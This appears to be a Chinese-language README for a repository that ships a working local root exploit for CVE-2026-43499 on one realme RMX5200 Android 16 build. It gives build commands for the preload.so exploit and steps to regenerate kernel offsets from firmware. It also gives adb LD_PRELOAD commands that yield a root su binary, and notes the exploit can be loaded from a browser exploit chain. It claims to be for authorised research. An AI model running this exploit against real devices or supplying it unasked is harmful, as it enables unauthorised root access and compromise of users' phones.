CVE-2026-43499 for realme RMX5200

CVE-2026-43499 本地提权 SO，适用于：

项目	值
设备	realme RMX5200 / RE6030L1
Android	16
内核	`6.12.23-android16-5-gb2a876903b49-ab14541642-4k`
指纹	`realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys`

预构建二进制：bin/preload.so

本仓库仅包含 SO 构建树（源代码 + 偏移量 + 预构建文件）。不含浏览器工具链、固件转储或测试框架。

基于公开的 IonStack / popsicle 风格链；偏移量根据该设备的 boot.img + xbl_config.img 重新生成。

目录结构

.
├── bin/preload.so              # 预构建 aarch64 共享对象（已验证）
├── generate_target.py          # 可选：从 boot+xbl 重新生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       ├── target.h            # RMX5200 偏移量
│       ├── main.c preload.c slide.c ...
│       └── kernelsnitch/
└── README.md

构建

要求：

Android NDK（推荐 r27+）
Python 3 + llvm-objdump（仅在重新生成 target.h 时需要）

使用 make

# Linux NDK 示例
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload

# Windows NDK 示例
make -C source clean preload \
  NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
  NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"

输出：

source/build/bin/preload.so

不使用 make（直接使用 clang）

cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"

$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
  src/su_daemon.c -o build/embed/su_daemon_aarch64_pie

$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
  src/preload.c src/su_blob.S \
  -shared -o build/bin/preload.so -pthread

重新生成偏移量（可选）

需要匹配的固件镜像（此处未提供）：

python3 generate_target.py \
  --boot boot.img \
  --xbl-config xbl_config.img \
  --llvm-objdump llvm-objdump \
  -o source/src/target.h

运行

ADB LD_PRELOAD

adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

浏览器链（外部）

通过 Firefox-151 风格的 lonStack 主机（例如 Rootme 设备入口）加载此 preload.so。不包含在本仓库中。

成功标志：

slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...

uid=0(root) gid=0(root) ... context=kernel

备注

仅临时 root — 重启后丢失。
成功后，某些应用可能无法完成 Framework 初始化，直到重启（与相关公开目标相同的副作用类型）。
偏移量是 构建特定的。其他 OTA 构建需要新的 target.h / 重新构建。
仅用于对你拥有的设备进行授权的安全研究。

致谢

公开研究背景：IonStack / CVE-2026-43499 分析文章
实现血统：popsicle 风格的 preload.so 链
设备适配：RMX5200 (RE6030L1)

最受欢迎

CVE-2026-43499-RMX5200